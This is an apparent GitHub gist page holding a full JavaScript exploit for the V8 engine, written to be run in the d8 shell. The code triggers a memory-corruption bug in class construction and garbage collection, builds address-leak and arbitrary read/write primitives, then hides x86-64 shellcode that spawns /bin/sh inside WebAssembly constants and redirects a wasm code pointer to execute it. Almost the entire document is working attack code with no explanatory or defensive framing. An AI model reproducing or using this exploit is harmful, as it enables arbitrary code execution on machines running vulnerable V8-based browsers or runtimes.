-
-
Save jopraveen/9a355adfce7e771d35c9ccf7e37ddc07 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //Run with ./x64.release/d8 --allow-natives-syntax ./code/exploit.js | |
| let empty_object = {}; | |
| let empty_array = []; | |
| let corrupted_instance = null; | |
| let dogc_flag = false; | |
| let buffer = new ArrayBuffer(8); | |
| let f64 = new Float64Array(buffer); | |
| let u32 = new Uint32Array(buffer); | |
| function dogc() { | |
| if(dogc_flag == true) { | |
| for(let i = 0 ; i < 900; i++){ | |
| new ArrayBuffer(0x10000); | |
| } | |
| } | |
| } | |
| class ClassParent {} | |
| class ClassBug extends ClassParent { | |
| constructor(a20, a21, a22) { | |
| const v24 = new new.target(); | |
| let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object]; | |
| super(); | |
| let a = [1.1]; | |
| this.x = x; | |
| this.a = a; | |
| JSON.stringify(empty_array); | |
| } | |
| [1] = dogc(); | |
| } | |
| for (let i = 0; i<200; i++) { | |
| dogc_flag = false; | |
| if (i%2 == 0) dogc_flag = true; | |
| dogc(); | |
| } | |
| for (let i = 0; i < 650; i++) { | |
| dogc_flag=false; | |
| if (i == 644 || i == 645 || i == 646 || i ==640) { | |
| dogc_flag=true; | |
| dogc(); | |
| dogc_flag=false; | |
| } | |
| if (i == 646) dogc_flag=true; | |
| let x = Reflect.construct(ClassBug, empty_array, ClassParent); | |
| if (i == 646) { | |
| corrupted_instance = x; | |
| } | |
| } | |
| let x = corrupted_instance.x; | |
| let a = corrupted_instance.a; | |
| let rwarr = [1.1, 2.2, 2.2]; | |
| dogc_flag = true; | |
| dogc(); | |
| //------------------addrof primitive----------------- | |
| function addrof_tmp(obj) { | |
| x[0] = obj; | |
| f64[0] = a[0]; | |
| return u32[0]; | |
| } | |
| let addr_a = addrof_tmp(a); | |
| let addr_rwarr = addrof_tmp(rwarr); | |
| //--------------------------------------------------- | |
| //-------------------change length of a array------------ | |
| x[5] = 0x10000; | |
| if (a.length != 0x10000) { | |
| console.error("Initial Corruption Failed!"); | |
| } | |
| //------------------------------------------------- | |
| //-----------------write primitive------------------ | |
| //code for considering only the case : addr_rwarr > addr_a | |
| if (addr_rwarr < addr_a) { | |
| console.error("Failed"); | |
| } | |
| //calc offset | |
| let offset = (addr_rwarr - addr_a) + 0xc; | |
| if ( (offset % 8) != 0 ) { | |
| offset += 4; | |
| } | |
| offset = offset / 8; | |
| offset += 1; //our a array has one of 1.1 | |
| offset -= 1; | |
| let marker42_idx = offset; | |
| //declare and assign | |
| let b64 = new BigUint64Array(buffer); | |
| let zero = 0n; | |
| //write primitive | |
| function v8h_write64(where, what) { | |
| b64[0] = zero; | |
| f64[0] = a[marker42_idx]; | |
| if (u32[1] == 0x6) { | |
| u32[0] = where-8; | |
| a[marker42_idx] = f64[0]; | |
| } | |
| else { | |
| u32[1] = where-8; | |
| a[marker42_idx] = f64[0]; | |
| } | |
| rwarr[0] = what; | |
| } | |
| //------------------------------------------------- | |
| //-------------Achieving GC resistance------------- | |
| //create 3 objects | |
| let changer = [1.1,2.2,3.3,4.4,5.5,6.6] | |
| let leaker = [1.1,2.2,3.3,4.4,5.5,6.6] | |
| let holder = {p1: 0x1234, p2: 0x1234, p3: 0x1234}; | |
| //get addr of objects | |
| let changer_addr = addrof_tmp(changer); | |
| let leaker_addr = addrof_tmp(leaker); | |
| let holder_addr = addrof_tmp(holder); | |
| //corrupt that objects | |
| u32[0] = holder_addr; | |
| u32[1] = 0xc; | |
| let original_leaker_bytes = f64[0]; | |
| u32[0] = leaker_addr; | |
| u32[1] = 0xc; | |
| v8h_write64(changer_addr+0x8, f64[0]); | |
| v8h_write64(leaker_addr+0x8, original_leaker_bytes); | |
| //fix the corruption to the objects in Old Space | |
| x.length = 0; | |
| a.length = 0; | |
| rwarr.length = 0; | |
| //------------------------------------------------ | |
| //----------------final read/write primitives------- | |
| function f2i(f) { | |
| f64[0] = f; | |
| return BigInt(u32[0]) + (BigInt(u32[1]) << 32n); | |
| } | |
| function v8h_read64(addr) { | |
| original_leaker_bytes = changer[0]; | |
| u32[0] = Number(addr)-8; | |
| u32[1] = 0xc; | |
| changer[0] = f64[0]; | |
| let ret = leaker[0]; | |
| changer[0] = original_leaker_bytes; | |
| return f2i(ret); | |
| } | |
| function v8h_write(addr, value) { | |
| original_leaker_bytes = changer[0]; | |
| u32[0] = Number(addr)-8; | |
| u32[1] = 0xc; | |
| changer[0] = f64[0]; | |
| f64[0] = leaker[0]; | |
| u32[0] = Number(value); | |
| leaker[0] = f64[0]; | |
| changer[0] = original_leaker_bytes; | |
| } | |
| //------------------------------------------------- | |
| //-----------------final addrof primitive---------- | |
| function addrof(obj) { | |
| holder.p2 = obj; | |
| let ret = leaker[1]; | |
| holder.p2 = 0; | |
| return f2i(ret) & 0xffffffffn; | |
| } | |
| //------------------------------------------------- | |
| //--------------Program Counter Control----------------- | |
| let buffer_2 = new ArrayBuffer(8); | |
| let f64_2 = new Float64Array(buffer_2); | |
| let u32_2 = new Uint32Array(buffer_2); | |
| let b64_2 = new BigUint64Array(buffer_2); | |
| function wasm_write(addr, value) { | |
| original_leaker_bytes = changer[0]; | |
| u32_2[0] = Number(addr)-8; | |
| u32_2[1] = 0xc; | |
| changer[0] = f64_2[0]; | |
| b64_2[0] = value; | |
| leaker[0] = f64_2[0]; | |
| changer[0] = original_leaker_bytes; | |
| } | |
| let shell_wasm_code = new Uint8Array([ | |
| 0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11 | |
| ]); | |
| let shell_wasm_module = new WebAssembly.Module(shell_wasm_code); | |
| let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module); | |
| let shell_func = shell_wasm_instance.exports.main; | |
| shell_func(); | |
| let shell_wasm_instance_addr = addrof(shell_wasm_instance); | |
| console.log(`shellwasm instance address: 0x${shell_wasm_instance_addr.toString(16)}`) | |
| let shell_wasm_rwx_addr = v8h_read64(shell_wasm_instance_addr + 0x50n); | |
| console.log(`shellwasm rwx address: 0x${shell_wasm_rwx_addr.toString(16)}`) | |
| // let shell_func_code_addr = shell_wasm_rwx_addr + 0xB40n; | |
| let shell_code_addr = shell_wasm_rwx_addr + 0x730n; | |
| console.log(`shellcode address: 0x${shell_code_addr.toString(16)}`) | |
| const tbl = new WebAssembly.Table({ | |
| initial: 2, | |
| element: "anyfunc" | |
| }); | |
| const importObject = { | |
| imports: { imported_func : (n) => n + 1, }, | |
| js: { tbl } | |
| }; | |
| var wasmCode = new Uint8Array([ | |
| 0,97,115,109,1,0,0,0, | |
| 1,15,3,96,1,124,1,124,96,2,124,124,0,96,0,1,125, | |
| 2,36,2,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117, | |
| 110,99,0,0, | |
| 2,106,115,3,116,98,108,1,112,0,2, | |
| 3,3,2,1,0, | |
| 7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2, | |
| 10,31,2,22,0,68,144,144,144,144,72,137,16,195,68,204,204,204,204,204,204, | |
| 233,67,26,26,11,6,0, | |
| 32,0,16,0,11 | |
| ]); | |
| let wasmModule = new WebAssembly.Module(wasmCode); | |
| let wasmInstance = new WebAssembly.Instance(wasmModule, importObject); | |
| let wasmInstance_addr = addrof(wasmInstance); | |
| let RWX_page_pointer = v8h_read64(wasmInstance_addr+0x50n); | |
| let func_make_array = wasmInstance.exports.make_array; | |
| let func_main = wasmInstance.exports.main; | |
| wasm_write(wasmInstance_addr+0x50n, shell_code_addr); | |
| func_main(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment